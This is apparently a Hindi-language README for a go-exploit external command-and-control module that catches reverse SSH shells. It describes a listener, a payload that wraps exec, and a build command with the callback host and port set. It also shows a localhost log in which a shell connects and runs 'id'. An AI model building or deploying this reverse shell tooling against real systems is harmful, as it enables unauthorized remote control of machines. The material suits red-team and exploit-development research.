go-exploit के लिए बाहरी C2 मॉड्यूल जो रिवर्स SSH शेल को पकड़ता है, जो कस्टम C2 प्रोफ़ाइल को एक्सप्लॉइट में एकीकृत करने के लिए सर्वर लिसनर और पेलोड क्लाइंट प्रदान करता है।
एक go-exploit बाहरी C2 मॉड्यूल जो रिवर्स SSH शेल का समर्थन करता है। यह इसके अतिरिक्त एक प्रदर्शन के रूप में भी कार्य करता है कि आपके पसंदीदा पेलोड में बाहरी C2 प्रोफ़ाइल को कैसे एकीकृत किया जाए। लक्ष्य evasion और उन्नत तकनीकों के साथ पूरी तरह से हथियारबंद पेलोड प्रदान करना नहीं है, बल्कि यह दिखाना है कि उन पेलोड के लिए चैनल कैसे बनाएं जो मजबूत evasion मॉड्यूल लागू कर सकते हैं और आसानी से go-exploit में एकीकृत हो सकते हैं।
c2ssh पैकेज जो SSH पेलोड को पकड़ने के लिए सर्वर सेटअप करने के लिए इंटरफ़ेस और संरचनाएं लागू करता है./payload में एक exploit द्वारा उपयोग किए जाने वाले पेलोड का कार्यान्वयन शामिल है, यह कार्यात्मक रूप से SSH क्लाइंट है और सर्वर प्रतिक्रिया के आधार पर exec के चारों ओर एक पतला रैपर है./example में एक स्व-शोषण परीक्षण शामिल है जो एक संकलित उदाहरण पेलोड निष्पादित करता हैgo build -ldflags "-s -w -X main.Rshost=127.0.0.1 -X main.Rsport=2223" -o reverse_shell
poptart@grimm $ go run example/exploit.go -lhost 127.0.0.1 -lport 2222 -rhost 127.0.0.1 -rport 1337 -e -fll DEBUG -ell DEBUG -t 0
time=2024-08-06T12:09:02.762-06:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
time=2024-08-06T12:09:02.763-06:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=1337 ssl=false "ssl auto"=false
time=2024-08-06T12:09:02.763-06:00 level=DEBUG msg="External SSH Listener starting: 127.0.0.1:2222"
time=2024-08-06T12:09:02.766-06:00 level=DEBUG msg="SSH: Handshaking for 127.0.0.1:38878"
time=2024-08-06T12:09:02.768-06:00 level=STATUS msg="Active shell SSH: Connection accepted from [email protected]:38878 session: 451e905e22ffbc7ab6235ad73379eeea2c65ba532405d81a431e1c5159ba1179 (SSH-2.0-OpenSSH_9.7)"
id
time=2024-08-06T12:09:04.725-06:00 level=STATUS msg="Running command on SSH client: 'id'"
time=2024-08-06T12:09:08.812-06:00 level=SUCCESS msg="uid=1000(poptart) gid=100(users) groups=100(users),1(wheel),67(libvirtd)\n"